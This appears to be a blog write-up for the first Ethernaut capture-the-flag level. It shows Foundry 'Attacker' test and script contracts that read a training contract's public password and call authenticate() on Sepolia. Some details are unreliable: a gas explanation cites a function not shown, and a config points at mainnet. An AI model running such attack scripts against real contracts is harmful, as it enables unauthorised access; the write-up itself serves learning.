Ethernaut Series - 00
Hello Ethernaut
The first level in this series walks us through the setup of the CTF series. When we click on "Get new instance", it deploys the contract code shown in the challenge to the testnet you select (in my case, Sepolia
) to which we can interact through our browser console.
This level helps us understand the interface easily and teaches us about how to interact with the ABI. As stated in the 9th section, we can begin by interacting with the functions from the smart contract with the help of web3 library which wraps around the contract, as shown below:
We begin by entering the specified command (await contract.info()
) in the console which leads us to a simple way to call the consecutive functions. Reaching the final stage it asks us for a password
and when we read the functions in the ABI, there is a password()
function, which upon calling serves us with the password for authenticate()
function which is ethernaut0
.
Entering this password will send a transaction and upon approval, we can click on "Submit Instance" to get the message confirmation that we cleared the level.
Upon confirming the transaction we will receive this message box indicating that we've cleared the level:
Furthermore, this also provides us with the contract running behind the level. This is a good way to learn the bad practices and understand the fixes that can be deployed in order to fix those vulnerabilities.
Assessing the Code
Below is a snippet of the code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) {
password = _password;
}
...
...
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
A few suggestions to improve this codebase are below and I will try to add more as I learn and get better at this:
- The variable
infoNum
should be declared asuint256
instead ofuint8
and the reason for that is the gas usage will be low.
Explanation:
The Ethereum Virtual Machine (EVM
) operates on 256-bit words. It means that the most efficient way for the EVM to perform calculations is with 256-bit data types, likeuint256
. These 256-bit operations are called native operations because they directly align with the EVM's underlying architecture. The more data the EVM needs to handle, the more gas is consumed. When we perform operations on auint8
, EVM has to perform additional operations to fit the uint8 result into a 256-bit word. This extra effort consumes more gas compared to the addUint256 function, which operates directly on 256-bit data.
Foundry PoC
We will use Foundry to write our PoC as working with it is a crucial skill and will allow us to interact with the contract in a much easier manner.
Now you can find multiple installation guides for Foundry online. I simply use Ziion which is an OS-Distro with all the major tools pre-configured.
Initialize a foundry project using
forge init
. My current folder structure looks like this:Configure your
foundry.toml
to your preferredtestnet
along with your API keys. In my case, the testnet will beSepolia
.[profile.default] src = "src" out = "out" libs = ["lib"] eth_rpc_url = "https://eth-mainnet.g.alchemy.com/v2/<api>" etherscan_api_key = "<ethereum_api>"
First we will deploy it locally to run some tests. In order to do this we will run the
anvil
command in order to simulate a local blockchain. From here, we can copy one private key which will be used to deploy our contract instance:Now in order to deploy our contract, we execute the following forge command:
❯ forge create src/ethernaut0.sol:Instance --constructor-args "ethernaut0" --rpc-url http://127.0.0.1:8545 --interactive
This will provide us with the address for our locally deployed contract which in our case will be:
Now we will write a
test
script which will be stored in thetest
folder. We will use the standards mentioned in Foundry docs to write our test cases. Our current test script should look like this:Please note that the address passed in the
Instance
is the one of our locally deployed contract.Now we will run the test script using the following command:
forge test --match-path test/test.t.sol -vvvv --rpc-url http://127.0.0.1:8545
The command gives us a valid response. We can also verify this hex value by decoding it to ascii using
cast
:❯ cast to-ascii 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a65746865726e6175743000000000000000000000000000000000000000000000 ethernaut0
Now we are ready to test it against the live instance that we deployed on our testnet using the ethernaut website. To do so, we will write a script to broadcast them on to the blockchain. Our script currently looks like:
Now we can deploy this using the following command:
forge script script/ethernaut0.s.sol --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast --verify -vvvv
This runs our script against the actual contract instance:
This marks the completion of our first challenge.
Proof-Of-Concept
Learning solidity and also learning how to use foundry is a necessity for you to write PoC(s) for bugs and can prove really effective when you will report bugs to companies. Let us write a PoC for this level:
Create a new folder for your PoC and type
forge init
to initialize a foundry project there.The
foundry.toml
is the configuration file for our project. Since we’re working with Sepolia testnet, we need to configure that in our file:
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
eth_rpc_url = 'https://eth-sepolia.g.alchemy.com/v2/<alchemy_api_key>'
etherscan_api_key = '<etherscan_api_key>'
More info about writing tests can be found here.
We will create a folder
original-contracts
with all the contracts so we can import them in our tests. This is how our directory structure looks:- Based on the link shared earlier, we can write our test file as such:
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../original-contracts/level0.sol";
import "../lib/forge-std/src/Test.sol";
contract Attacker is Test {
Instance level0 = Instance(0xA79C28623A56f621003A5b11b49E85Bf1fdcA38a);
function test() external{
vm.startBroadcast();
level0.password(); // query password to verify
level0.authenticate(level0.password()); //call authenticate function with the password
vm.stopBroadcast();
}
}
- We can access the contract instance using the variable
level0
. Here we simply call thepassword()
function to verify the password and then pass it inauthenticate()
function to complete the level.
vm.startBroadcast()
- This is a special Foundry cheatcode that records calls and contract creations made by our main script contract.Note that the function name is
test()
. By default, forge looks for thetest
prefix to know which test functions to run.
- The test can be run by running the following command:
└─$ forge test --match-path test/test0.sol -vvvv
Now we can broadcast this on the blockchain using the following script:
pragma solidity ^0.6.0;
import "../original-contracts/level0.sol";
import "../lib/forge-std/src/Script.sol";
contract Attacker is Script {
Instance level0 = Instance(0xA79C28623A56f621003A5b11b49E85Bf1fdcA38a);
function run() external{
vm.startBroadcast();
level0.password();
level0.authenticate(level0.password());
vm.stopBroadcast();
}
}
Following command can be used to run the script to broadcast:
forge script ./script/level0.sol --private-key $PKEY --broadcast -vvvv --rpc-url $RPC_URL
Note that
Test.sol
has been replaced withScript.sol
in the import statement and the function name has been changed torun()
. By default, scripts are executed by calling the function named run, our entry-point. More on Solidity scripting using Foundry can be found here.
Once this is done, we can submit the instance to complete the level.
References: